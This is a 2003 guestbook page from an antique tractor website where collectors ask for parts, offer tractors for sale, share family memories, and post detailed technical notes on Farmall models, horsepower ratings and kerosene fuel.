Burt Rocker wrote on Monday, February 17, 2003 (PST): My dad purchased an oliver 70 during the war, it was on steel, but was later converted to rubber. It was started on gas and then switched to tractor fuel. which we later converted to gas, we also had a couple of more road gears added. I learned to run this tractor as a young boy, we kept up till the late 50's.
james baber wrote on Sunday, February 16, 2003 (PST):I HAVE A 1949/1950 FARMALL CUB 2nd GEAR WENT OUT OF IT I AM IN NEED OF A GEAR IF ANYONE HASE ONE LET ME KNOW THANKS.
Carol wrote on Sunday, February 16, 2003 (PST):My dad has a 25-15 Rumley type L tractor and is looking for parts. Does anyone know a source. Thanks
Gary Wattier 506 Willow Way Wylie, Tx 75098 wrote on Sunday, February 16, 2003 (PST):The best place I have found for a three point conversion kit for the AC D-17 and D-15 is.....Saginaw County Tractor Parts 9161 Sheridan Rd. New Lothrop, MI 48460 PH # 810-638-5787 also at www.saginawcounty tractor.com Good Luck
DENNIS wrote on Sunday, February 16, 2003 (PST):ANYONE HAVE A 7-24 REAR RIM FOR 39 B ( NOT REMAKE)
Maggie Studt wrote on Thursday, February 13, 2003 (PST):My husband has a 1950 Oliver 550 gas tractor that he is wanting to sell but not sure of a price for it. It has been well taken care of and runs great(he uses it around the farm)but it just isn't big enough for what he needs it for.
Tyler Burnett wrote on Thursday, February 13, 2003 (PST):My dad and I have I4 we dont know much about it. It needs a little work. We found that some were yellow for safety.If any one has any info on the I4. Please could you contact me at chevys31 at hotmail.com. thanks
Otto Alfredo Brandes wrote on Thursday, February 13, 2003 (PST):I want to have more photos and the inscriptions of the Farmall Cub for print my tractor.
Frank Wilson wrote on Thursday, February 13, 2003 (PST):Does anyone know the weight of a Massey Harris row crop 44 serial # starts with GR?
Roger Ritchison wrote on Wednesday, February 12, 2003 (PST):I'm looking for a restorable Farmall F-30.Doesn't necessarily have to run. Reasonable price. Have a Regular, F-12,F-14,F-20. Need an F-30 to complete my collection
Keith wrote on Monday, February 10, 2003 (PST):I have a very rare 1952 Pony that I am taking offers on. This tractor is a grey Pony and has every available option that was offered. It even has an original Sunflower belly mower. The tires are original with no cracks! This tractor has been kept in a heated garage since 1952 and has never been in the rain. The tractor runs as new and is a pleasure to drive. This is one of the rarest Pony tractors in the US. Tractor comes with original manuals and ad slicks showing great pictures of every implement available. email me at keith at libcom.com with offers.
Keith wrote on Monday, February 10, 2003 (PST):I have a very rare 1952 Pony that I am taking offers on. This tractor is a grey Pony and has every available option that was offered. It even has an original Sunflower belly mower. The tires are original with no cracks! This tractor has been kept in a heated garage since 1952 and has never been in the rain. The tractor runs as new and is a pleasure to drive. This is one of the rarest Pony tractors in the US. Tractor comes with original manuals and ad slicks showing great pictures of every implement available. email me at keith at libcom.com with offers.
Denny Wolf wrote on Monday, February 10, 2003 (PST):Grew up on a farm in South Dakota in 60s, had John Deere large tractors, but had a Cockshutt 30 live pto, used to pull 2 side delivery rakes, 36 ft. drag, main use was in the winter -35, -45 below would always start, if not hand crank would fire right up. Great tractor, many happy memories.
Ann Smith wrote on Monday, February 10, 2003 (PST):I have a Farmall AV and was wondering if it is possible to mount a plow for snow. If anybody has one for sell please e-mail me. Ann
RUSS wrote on Sunday, February 09, 2003 (PST):I recently purchased a 1945 model "B" and it has a seat shock and spring much like the model "C". Could this tractor have came original with this seat. I have seen several photos of restored "B" models with this setup. But most i see have the leaf spring setup like the model "A".
BJ Call wrote on Sunday, February 09, 2003 (PST):I am currently buying a VC model, I already have a VA model that is a real basket"case". Many parts are missing on the VA. However the VC seems to be pretty much complete, less a right rear tire & rim. It has a 4 cyl. flathead that appears to be a contintal Red seal? It has a distributor or ignition out of the head, that it is wired for. It also has a magnito that is not hooked up. The tractor has been ssitting a long time and needs a lot of TLC. Any correct history or input would be greatly appreciated on both of these tractors. Thanks BJ at calljonesclan at cs.com
Don B Pritchard wrote on Saturday, February 08, 2003 (PST):I Have a 1950 vaiwa tow tractor 6 volt no hydrolics just like the one that JohnKaempfer wrote about I work with the handy cap we are working on it we plan on entering it in are Xmas parade the men that I work with have had a ball doing it .We are looking for an old aircraft tipe trailer to fix and tow behind it
bert clothier wrote on Saturday, February 08, 2003 (PST):I just recently found my grandmothers oliver 70 row crop. me and my brother road a lot of hours against the rear fenders of the old 70. spreading manaur,plowing or pulling cars out of ditches. looking forword to restoring it in my grandmothers memory. kinda out of my color range since i have 39 9n alum.hood ford,52 8n, 3 1953 golden jubilee's,1959 541 offset,1924 fordson,1950 8n flathead v/8 alum.heads,intake,4brl,1951 farmall m,196? 434 international.o ya a 19 somthing mc cormick deering,and now a very dear old oliver 70.
George Heister wrote on Saturday, February 08, 2003 (PST):wrote on February 8,2003 (pst) I'm looking for a power steering, a grill and a dash for my 44 massey. Also my son has a wide front for sale. Please give me a call my phone number is (608)763-2948.
Landes Holbrook wrote on Friday, February 07, 2003 (PST):I literally learned how to drive on my great grandfather's 1948 8N after we inherited his farm. I use to drive it around the block when my parents weren't home. Some how dad always knew I had taken it for a spin!
Phillip Sikes wrote on Friday, February 07, 2003 (PST):I have a 1948 Oliver 60 row crop and have been searching for instructions on correct painting of it. Can anyone help?
David wrote on Friday, February 07, 2003 (PST):What year is this tractor
TOMMY BAKER wrote on Friday, February 07, 2003 (PST):I HAVE AN 1964 FE-35 DIESEL CAN ANYONE TELL ME IF ALL PARTS ARE SAME AS US BUILT MF-35 I KNOW THE PERKINS DIESEL IS BUT CANT FIND LIKE GREASE BOOTS FOR LINKAGE ETC.
Scott wrote on Friday, February 07, 2003 (PST):Marlo- I am interesed in your IH300.. Your email address keeps sending messages back.. unknown mailbox.. Please contact me.
Larry Stewart wrote on Thursday, February 06, 2003 (PST):my father has a john deere that he identifies as a 1936 AO i know it is a multi fuel and that he ahnd my grandfather restored it almost 40 years ago. i grew up riding on it as it plowed, cut hay and bailed alfalfa every year. it sit at our ranch now and every once in a while we will fire it up just for kicks. it still runs great and could go back to work any time.
D.K.Johnson wrote on Thursday, February 06, 2003 (PST):Just last week I purchased an OLIVER 99.I'm thinking of pulling tracors again.Can anyone advise me of the power potental?My 99 is a stock 6 cy.diesel.I'm hearing the 3cy.Det.ranging 168hp.If any one can help it would be greaty appreated.I'm located in SOUTH NEW JERSEY. PLEASE CONTACT ME BY E-MAIL kr4farm at aol.com
John Forshee wrote on Thursday, February 06, 2003 (PST):Our family had a 16 H.P. compound engine until a few years ago. The Russell Company's attempt at compounding was a disaster. The engine was very showy but not much to work with. All steam engines are enjoyable to operate no matter what the short comings are.
John Forshee wrote on Thursday, February 06, 2003 (PST):I enjoyed seeing your engine. I was the back up bidder when it was sold at auction. I have a 1917, 19-65 Port Huron and a 1917,65 Case. The Case is a much easier steamer than the Port Huron. All of the patterns from the Port Huron Company have been saved along with the build sheets, etc. Steam is very exciting and interesting. I have enjoyed collecting, showing, and talking steam for many years. There has been a lot of discussion about safety and steam. I want to state that any respected steam engineer knows his equipment and what the steal is saying. Man and machine are a marvelous combination.
Chuck Gross wrote on Thursday, February 06, 2003 (PST):i recently obtained an f-20, the serial tag is missing. The motor is blown up, and i am having a heck of a time tring to find one.. Any help would be great. thanks
Robin Mizell wrote on Thursday, February 06, 2003 (PST):I own a 1949 AC G in the Southern Illinois area. It doesn't have a motor, radiator or hood. I would like to know what my options are for finding these. I would like to find these either by themselves or on another G that is in need of restoration or on parts tractor. Any ideas from anyone would be appreciated. My dad used to have one. It was the first tractor I drove as a kid. They are cool tractors!
Cathy wrote on Wednesday, February 05, 2003 (PST):I heard from a company in Maine that some of the later Pony's came with a 3 pt. hitch. They suggested that I look for a salvage Pony with a 3 pt. hitch. So, now I am looking for parts. Anyone with a 3 pt. hitch on Pony being parted out?
David Lee wrote on Monday, February 03, 2003 (PST):My Dad recently aquired an Allis "G" and we are restoring it. The previous owner was fowling plugs quite often and cut the side of the hood off to make it easier to change them. So we are trying to find a restorable hood.
David Lee wrote on Monday, February 03, 2003 (PST):I am in the process of restoring a 1942 Farmall "M" and I need a restorable battery box. If anyone has one I would appreciate an E-Mail.
David Lee wrote on Monday, February 03, 2003 (PST):I am in the process of restoring a Farmall "BN"(can be seen in the Gallery) and am in need of a restorable battery box. would appreciate any offers.
Wade Broome wrote on Sunday, February 02, 2003 (PST):I have 'G' for sale. Also have many used parts. Call for your needs. 704-289 3489
Gene Larson wrote on Sunday, February 02, 2003 (PST): port angeles wash i have a super C with rear tool bar, doubble plow, disk,mower,spring tooth, with a parts tractorfor parts any Idea what its worth.yours looks grat good Job.... /I have wide front/
Saul Moreno wrote on Sunday, February 02, 2003 (PST):I have a farmall model H serial number FBH 71743. Does any Know what year is it?
David Lee wrote on Sunday, February 02, 2003 (PST):Well I don't mean to beat a dead horse but this is a "ZB" and I do think they only meant to say that the model "Z" has been in production since 1937. I am the proud owner of a 1953 "ZAU" fully restored by my Dad and I. We spent many very enjoyable hours working on this tractor and the rewards were great. I have recieved many coments on what a neat and beautiful Tractor it is. I live in Missouri and there were not many Minnies here. I have shown this tractor at several shows and won first place at many tractor pulls with it. I hope every Minnie owner gets as much enjoyment out of there tractor as I have. Thanks David Lee
Mark Bergthold wrote on Saturday, February 01, 2003 (PST):I learned to drive on my grandpa's Lil' B in Iowa. Loved that tractor - never had a bit of trouble with it.
Candace Lynch wrote on Friday, January 31, 2003 (PST):My son wants to locate the F-20 or 350 his grandfather had. The F-20 was probably bought in the early 40's, the 350 would have been in 1952 or '53 from White Implements in Connersville, Indiana. We don't know the serial numbers but hope someone would have some idea where to begin to trace these old tractors. Are there archives that show serial numbers for a particular series and a way to trace sales to a particular dealer?
Farmer Ron wrote on Thursday, January 30, 2003 (PST):Thanks for creating a great tractor Harry. Our farm has a 51 TO-20. We use it for mowing, plowing, pulling the hay wagon, hauling logs out of the woods and general mayhem. If and when it finally dies I'll be sad but I'll definately try to find another one just like it.
Matt Nahlik wrote on Tuesday, January 28, 2003 (PST):I like 1066s, but I agree with the guy at the top with 1206 comment. I have pulled with a 1066 and a 1206. I would prefur the 1206.
tractor bob wrote on Tuesday, January 28, 2003 (PST): is I have all the parts for the farmall b lift all.Anyone interested can cll me after 5.oopm at 319-563-263-5360
Paul Vanderhoof wrote on Sunday, January 26, 2003 (PST):My dad had one of these (I'm nearly certain) and always wanted to restore it. It's still sitting behind the barn in rough shape no doubt. The clutch was different from others in that instead of pushing it forward with the left foot, you had to pull it back. Same model? Also, I'd like to reproduce this picture but am having trouble getting the 'postcard'. Thanks.
Jim wrote on Sunday, January 26, 2003 (PST):I recently picked up a 1941 Farmall-B from my brogher-in-law and ran it a bit this week end. It runs good but I have never used a tractor with a brush-hog with no hydraulics. Is there a way to slow the mower down so you can shift the gear? Got to put a little labor in this B and need to sell it for brother-in-law with cancer. I don't really need it. Has good rubber and cranks easy. He put a battery on it about 4 months ago, however, the celinoyd ? just chatters. Anyone interested in buying this 41-B can write the E-Mail address. Location Cleburne, Texas area.
PAUL B wrote on Saturday, January 25, 2003 (PST):RESTORING 1954 -55 MH 44 NEED STEERING WHEEL AND FRONT GRILL SCREEN WOULD SELL HYDRAULIC PUMP AND LIFT CILINDER ALL ORIGINAL.
Dick Tafralian wrote on Friday, January 24, 2003 (PST):I am lookinf for a farmall A to restore If you have one close to Dallas, Tx please contact me. I prefer to have electric start. Thanks
Marcanet Bruno wrote on Friday, January 24, 2003 (PST):I be french collector antiques tractors.for sale where echanges, MH made in france;Pony 812 mecanique simca standar and vineyard, pony 812 mecanique peugeot standar, pony 820D mecanique Hanomag standar, MF 821D mecanique Hanomag standar, MF Landini four vheel drive RS4500 mecanique Perkins three cylinder.I not good speak english.
Marcanet Bruno wrote on Friday, January 24, 2003 (PST):I be french collector antiques tractors IH.For sale, echange; Cub made in france,FCC,FCD standard,FC Utility Vineyard,FCD Vineyard,good condition.
ihman wrote on Friday, January 24, 2003 (PST):My dad and uncle had a B and I was woundering if any one knows were it is. I think the serial # is F.A.B.51685
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):On converting 4-speed to 5-speed; The shift rail for 4th and 5th gear is toward the left side of the transmission, and apparently slides forward under the gas tank when 5th gear is engaged. There is a little capscrew in the tranny cover, somewhere under the gas tank. If 5th is locked out, the cap screw is long enough to block the shifter rail from coming forward. If this bolt (I seem to remember that it has about a 9/16" hex head) is backed out, or replaced by a shorter bolt, the shifter rail can move forward and shift the dog clutch (just like the old 3rd gear direct-drive dog clutch in American standard shift cars). Incredibly clever. It meant one manufacturing step for two uses. Actually, I wonder if an H would pull itself in 5th gear on steel wheels. If it did, I sure wouldn't want to ride on it. The H and M do all of 5 mph in 5th with the engine at a dead idle. Anything above idle speed would be one rough ride on steel wheels! I cannot tell you exactly which of the bolts in the top of the transmission does the blocking, but you can pretty well guess by estimating about where the shifter rail would be (opposite to the direction of the gear shift lever; lever right for 5th gear, shift rail would be the leftmost of the 3).
Leonard J. Rahilly wrote on Thursday, January 23, 2003 (PST):A reader (way, way up on that list!) has repeated something I read in the book called "Letter Series Farmalls" (in my opinion, one of the few quite good books on antique tractors--more facts, well checked out, than most of these slick books). This book states that the Farmall H was meant to replace the F-14. Well, maybe dealers were told to encourage that, but I have some original IH sales literature from the late 30s and early 40s, and in those brochures, IH very clearly said that the H was a "full two-plow tractor" (meaning 2 14" plows). I spent many years working two H's, and neither of them would measure up to an F-20, and that is because, I believe, the H was deliberately designed to pull the same load as a steel-wheeled "10-20" sized tractor. This the H will do. It is a second-gear only plowing tractor. Very seldom would either of our two H tractors plow in third. An F-20 would often plow in third, if the ground was not too hard, and in any case, on 36" wheels, the F-20 would do almost 4 mph in second gear, and still pull the two 14" plows rippin' and snortin' through the field. The H is a h. of a lot more comfortable, I'll give it that, and it was a delight to drive in its day, compared to the old iron it replaced. The H is a very nice chore tractor, so it could, indeed, replace an F-12 or an F-14 very comfortably. It is easy to get on and off of, easy to steer, and small enough to maneuver around in tight places, like the -12 and the -14. It wouldn't surprise me if dealers were told to push the H as a replacement for the F-14, but I would like to see this in writing. The book I mentioned does NOT give evidence for this statement. One of the effects of the lightening up of tractors (the engine on the H is only 152 c.i.d., as compared to 221 c.i.d. for the F-20) is that they kind of straddled categories. The H, in other words, could be a light chore tractor, like an F-14, but it could also do a good bit more heavy work in the field. As a chore tractor, with its engine not much bigger than an F-14, it didn't burn a lot of gas. None of my comments are meant to detract anything from the value of the H. I used to wish for more power, but I never didn't like the tractors. Compared to some of its contemporaries, it was very comfortable (nice platform, good seat, good seating position, steering wheel placement, etc.). I never liked the gear lever; it was always bumping the calf of your leg in the rearward positions, and you usually banged your arm on the steering wheel going for the forward gear positions (R, 2, 4). The external-contracting brake bands were a step backwards from the internal brakes of the F-14, but they did work pretty decently, even if they sometimes squealed. The governor leaver was not well designed, either. It was quite a reach when it was in the slow position, and if you were turned around to the right in your seat, watching a mower or a combine, it was a LONG reach. Much better to have a vertical quadrant, with the lever parallel to the steering wheel.
Leonard Rahilly wrote on Thursday, January 23, 2003 (PST):A reader asked about horsepower ratings for F-20. This system of numbers goes way back to the early days of tractors. When two numbers are used, the first one is the "rated drawbar horsepower" (75% of maximum in the Nebraska tests) and the second number is the "rated belt horsepower" (85% in Nebraska tests). These ratings are conservative, so that the user will not load up the tractor to the absolute maximum, leaving a bit of extra power for tough spots in the field. A 10-20 pulls 2 14" plows in second gear (on steel), and runs about a 22" thresher. A 15-30 pulls three plows and runs a bigger thesher. The actual maximum horsepower can be quite a bit above the rated. An F-20 on distillate put out over 27 belt horsepower, but is rated at 20 (F-20 refers to the belt horsepower; this tractor would be rated 10-20 if both numbers had been used). One of the things that was obvious to users of these old tractors is that the ratings were no longer very accurate when the tractor was put on rubber. Rubber tires return more power to the ground. An F-20 would pull 2 14" plows at about 4 mph (second gear, 36" tires), whereas on steel it was designed to pull these two plows at about 3 mph, like most steel-wheeled tractors of the day. An interesting case of number changes occured when IHC increased the bore of the 15-30, got more power, and changed the rating of the same tractor to 22-36 (about 1929, I believe--you can check this in the Nebraska tests, where the tractor is called "15-30" but the larger bore is shown in the specifications). W-30, F-30, W-40; the numbers refer to the rated belt h.p. One of the reasons why the rated drawbar horsepower is about half is that the very early tractors (chain drive, sleeve bearings in the gearbox, etc.) really didn't put much more than half the engine power to the wheels. Check the Nebraska test for IHC Titan 10-20. The engine put out about 28 hp on the belt, but I seem to remember that the drawbar horsepower was about 12! You always see pictures of these tractors hooked to 3-bottom plows, but you have to realize that the ground speed was very low; several plows can be pulled very slowly; when speed up, the draft rises sharply and not so many plows can be pulled. The Titan, incidentally, was rated as a 10-20, even when the engine put out nearly 30 on the belt!
leonard rahilly wrote on Thursday, January 23, 2003 (PST):Someone asked about F-30 sleeves in an F-20. No can do. The F-20 bore is 3-3/4", while the F-30 is 4-1/4". Someone else asked about a carb loading up. I would look very carefully at the needle valve and seat. If they are new, then check the float level carefully. I know that measurements are available in shop manuals. If not available, you could try lowering the float a little at a time. This carb is duck soup to take apart and put back together, so you could experiment with the float level several times in an hour or two. My dad had an H that had a worn float valve. It would flood on starting every time if you even touched the choke. Ran ok once it was going, but you could count on loading up the engine if you didn't start it just right. Are the needle valves in good shape. If the idle and power needles are worn, no amount of cussing will make them control the mixture the way you want them to.
leonard j. rahilly wrote on Wednesday, January 22, 2003 (PST):I just submitted the same comments twice. Apologies. Someone wrote a while back about putting an F-12 manifold on an F-14 and losing power. You would have to check part numbers to see if the F-14 manifold was really different. My guess is that they put a kerosene manifold on an F-14 that had had a gasoline manifold. The kerosene manifold is designed to run hot. I believe there was a valve to set the manifold on "cold" for gasoline, but with a very old and well-used manifold, it could be that the valve (inside the manifold, right in the middle of all those exhaust gases) had gotten burned through. If a kerosene manifold is used in the "hot" position with gasoline, I am pretty certain there would be a power loss--kerosene needed the heat to vaporize properly, but gasoline absolutely does not need that much heat. In the good old days (not so good, actually, except that I was a h. of a lot younger), you could start on gasoline (cold position) and switch to kerosene or distillate (hot position). Supposed to be cheaper. May have been. I tried it once with our McCormick-Deering 10-20, and swore I would never do it again. It is an absolute nuisance to start on gas, switch to kerosene or distillate,keep the curtain up (or shutter closed) to keep the engine really hot, shut off fuel to stop engine (cold kerosene won't start no matter how much you cuss), restart on gas, etc. (f you managed to stall the engine and did not crank it up immediately, you had to drain the carburetor, after shutting off the kerosene valve, then refill with gasoline from the small tank, restart, switch again over to kerosene. Another problem; as soon as an engine on kerosene stops working hard, it "cools off" a bit and starts to sputter. A lot of the early IHC tractors (10-20, F-20 era) were designed for kerosene only. I never knew anyone in my younger days (early 40s) who used kerosene. They just put gas in the kerosene tractors; got a little more power, but not as much as they could have had by raising the compression. Anyone interested in this stuff can compare Nebraska tests for tractors like F-12, Farmall H and M, to see the difference in h.p. between the kerosene/distillate tractors and the high-compression models sold for gas only. Oliver compensated for the loss on kerosene by making the engine of the Oliver 80 Kerosene-Distillate model bigger! Imagine what that brute could do with high compression! (kerosene requires low compression so as not to knock and pound a hole in a piston). Incidentally, there are Nebraska tests of some tractors on both kerosene and distillate (F-20, for example), and the distillate has a nice bit of extra power. Interesting to know if gasoline gives any extra power in the kerosene-distillate engine. I'd guess not much. Any engineers out there who know? A dramatic example of the diffence higher compression + gasoline makes is the postwar John Deere A and B tractors (the "new" models with the upholstered seat, about 1947). These tractors differ very little from the previous models,except for the higher compression and, I think, a manifold designed exclusively for gasoline.
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST):I see that I wrote something last July! Well, here's some more palaver. The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
Leonard J. Rahilly wrote on Wednesday, January 22, 2003 (PST): The F-14 differed from the F-12 in several ways that can be seen; there is a breather pipe coming down from the valve cover on the right side of the engine; the brake levers are much longer, reaching above the fuel tank (on the F-12, they are very short, and would be very difficult to use for anything other than parking; the automatic wheel brakes made the hand brake levers almost unnecessary--of course, you could always use a hand brake lever to stop a wheel from spinning in the mud); the steering shaft has a u-joint just behind the steering gear, and the steering post is accordingly higher; the seat has a higher pedestal to match the steering wheel's new height (when I was a teenager, I put a u-joint in my father's F-12 steering shaft, and raised the post with a typical farmer's fix; I cut the original post in half and put a piece of pipe between the two parts; ugly, but effective; incidentally, I have seen F-12s with the F-14 steering post, and many people mis-identify such tractors). The F-14 has a little more power than the F-12, acquired entirely by raising the governed full-load speed from 1400 to 1650 rpm. In order to make use of this power, the gearing was changed, so that the F-14 and the F-12 had about the same ground speed. It is not true that the F-12 would not pull two plows (on rubber tires). My father bought a new F-12 on 40" rubber in 1938; it had those lovely castiron wheels that you see reversed in this picture of the F-14. This tractor pulled a 2-12" trailer plow through thick and thin in second gear (the normal plowing gear). Occasionally, in VERY light soil, and not plowing too deeply, the tractor would pull this plow in third gear. This just goes to show what happens when a tractor designed for steel wheels was converted to rubber. The power formerly wasted driving those lugs into the ground went into pulling a larger load, or pulling the same load in (usually) one higher gear. By looking at a series of Nebraska tests, I have estimated the power loss for a steel-wheeled tractor at between 30 and 35% (even more in some of the early tractors, like the Titan 10-20, which had a power-robbing transmission, as best I can tell). Rubber-tired tractors probably lose between 10 and 15% on average. Anyone interested in armchair engineering (I am, obviously!) can take the Nebraska tests and do the averages for many tractors. Be aware that some of the tractors tested on rubber in the late 30s and early 40s either had tires that were too narrow, or not enough weight was added, as there may be quite a bit of slippage in low gear (see the tests for the Farmall M, in which low-gear h.p. runs around 24 (much slippage) compared to a little over 30 in the higher gears). Steel-wheeled tractors seem to lose power as the speed is raised (more effort driving the lugs in, I presume), while rubber-tired tractors seem to have a pretty even power application throughout the gears, except possibly in low if there is a lot of slippage. A neighbor who had had a lot of experience with a steel-wheeled F-12 ("Can't get out of its own way, it's so slow!") was "amazed" at the power our rubber-tired F-12 produced. Sadly, our old bird was left to rust away after the manifold blew out in the sixties. I think it is serving as a parts tractor somewhere in Tractor Heaven. I have no experience with F-14s, but have put in hundreds of hours on two rubber-tired 12s and one with steel wheels. They were wonderfully robust tractors, fairly easy to get on and off of, compact and easy to turn in small spaces, very handy with mounted equipment, like the Quick-Attachable 7' mower and the cultivators. With the big IH drawbar, you could use it for hauling fence posts, barbed wire, pails of feed, even people to and from the fields. About its only weakness was that it (like the F-14) had a fuel pump, and fuel pumps in those days had diaphragms that did not live forever. Minor problem, actually--I think the diaphragms were good for 8-10 years before they split. The only other drawback to the F-12 did not become apparent until you had the chance to drive a tractor with a road gear. The 4-mph top speed of the F-12 was REALLY slow if you had to go a mile to the field, or if you were hauling loads of hay or grain to the barn. I used to lust after a Farmall A (10 mph) or an H (over 16 mph!--a real racing machine on a gravel road; so fast that there was even wind in the face!). Now that I am a lot more mature, I think I'd kinda like to putter along on an F-12, four mph or not. Might even throttle it back and take another half hour to get to the field!
Bill Wright wrote on Wednesday, January 22, 2003 (PST):I'm looking for info/photo for a 1918 Samson M18, which was mfg. by GM. I know very little about the tractor, except that it turned my Dad against tractors for many, many years, until he bought a Ferguson 30 in 1952. thx-wmw
Sam wrote on Sunday, January 19, 2003 (PST):I have '51 super A with single bottom moldboard, under belly cultivators, and New Idea sicklebar mower to hook on the PTO. It is a great little tractor, but I'm trying to figure out how to get a snow plow for it, other than making one. Have 5 acres, so tractor is just about right size for my big (3 acre) garden. I was wondering where can I get new stickers for it, and a front emblem. Also, what is the belt drive good for, nowadays? God Bless! Sam
Keith wrote on Sunday, January 19, 2003 (PST):If anyone is interested in D-21's, please call me at (519) 741-7177and leave message This is a ontario Canadanumber
Hans wrote on Sunday, January 19, 2003 (PST):Hello,I am looking for a muffler,and a list of implements for a AC G model with pictures or where to find them. I own a 49 G with pto,cultivator and hydraulics and it is beeing used for organic agriculture. Any other information is greatly appreaciated.
Derrick wrote on Sunday, January 19, 2003 (PST):I would like to buy a Allis G and implements. In the southeast US would be a bonus.
Clarence Davis wrote on Friday, January 17, 2003 (PST):I am nearing completion of rebuild of 12-25 Avery tractor #17782. Does anyone out there have a spare shifter fork for 1st & 2nd gear. Has anyone ever had one cast? Go to http;/tractorhorn.tripod.com/ for list of serial No's and year built.
toy farmer man wrote on Friday, January 17, 2003 (PST):My gramdpa started farming with a F-20. Then he sold it. Well down the road my dad and grandpa went to asale. They got to taking to some people and they found. That it was my grandpas old F-20. The sale started and my dad baught it. The F-20 sat in the corner of the sed. We got it out and bratet to are house. It then sat in are sed for a fuw years. Then we moved and it sat in the garage. Two years ago are town had its centeneal my dad had it restored. My Uncal drove it throw the parade. Now we drive it in parade. It sour runs good. Sow go red.
glen wrote on Friday, January 17, 2003 (PST):I have a 49 farmall A tractor that I was using to plow with in the winter.however the last few weeks the motor will not keep running.I tried a put a rag on the air intake with the choke on but it run until a put it in gear or lift the plow.
Rey wrote on Thursday, January 16, 2003 (PST):I have a cub that I inherited after bying a small place in California. I have pute new rubber on it and replaced the carb with a Zenith. The serial # on the block behind the carb reads 107985. It has a hydralic resovior/pump behind the motor unlike the cub at the top of this page. The tank is not in a teardrop shape and the front of the tractor face is semi-round. I would like to find out more info on this tractor, Year, Model, ect. Can anyone help?
Scrany wrote on Thursday, January 16, 2003 (PST):Len, There is a place just West of Springfield, MO called "The Tractor Barn" (417-881-3668) that deals in used tractor parts that I have got several items from. You might give them a call they may be able to help you out.
1066 puller man wrote on Thursday, January 16, 2003 (PST):My grandpa started with a F-20. When my dad started farming my grandpa gave my dad a M. My dad and my uncal and me comverted it to 12 voltes. We are going to restor it.
jose sepulveda jelvez wrote on Thursday, January 16, 2003 (PST):hello; I write them from chili manual ,necesito of maintenance for tractor farmall, model is FAA-V. series n 326898. if your you have but information favor to send. ingindus at 123mail.cl attn. jose sepulveda j.
wade crotts wrote on Wednesday, January 15, 2003 (PST): i have 1941 serial# 39033 what year did they come out with the single front wheel or was that option. this is a very nice looking tractor
wade crotts wrote on Wednesday, January 15, 2003 (PST):very nice looking tractor
MARK wrote on Monday, January 13, 2003 (PST):I HAVE A MASSEY-HARRIS TRACTOR. IT LOOKS LIKE A PONY.THE MOTOR TAG IS MISSING. THE NUMBERS ON THE MOTOR BLOCK ARE N62A 03 AND UNDER THIS NUMBER IS 10 2 50. THE CARBURETOR IS A MARVEL-SCHEBLER-TSV-24. I WOULD LIKE TO FIND MORE INFORMATION ON THIS TRACTOR.
David Svendsen wrote on Monday, January 13, 2003 (PST):I would like to build some implements for a 1/16 scale toy G and would like some detailed pictures of the implements and lift system. If anyone would be able to provide these for me it would be much appreciated.
Tom Sager wrote on Monday, January 13, 2003 (PST):Looking for a hand crank for a 51 Super C What other models of hand crank will work?
claire kemp wrote on Monday, January 13, 2003 (PST):if there is anyone intressed ion doing a coures in agriclture contactbishop burton college
claire wrote on Monday, January 13, 2003 (PST):I am 17 and i am doing a course in agricultureand that has a lot to do in tractors and ploughting feilds and sheep and cows and pigs so if there is any one out ther intrssed in doing that contact bishop burton college
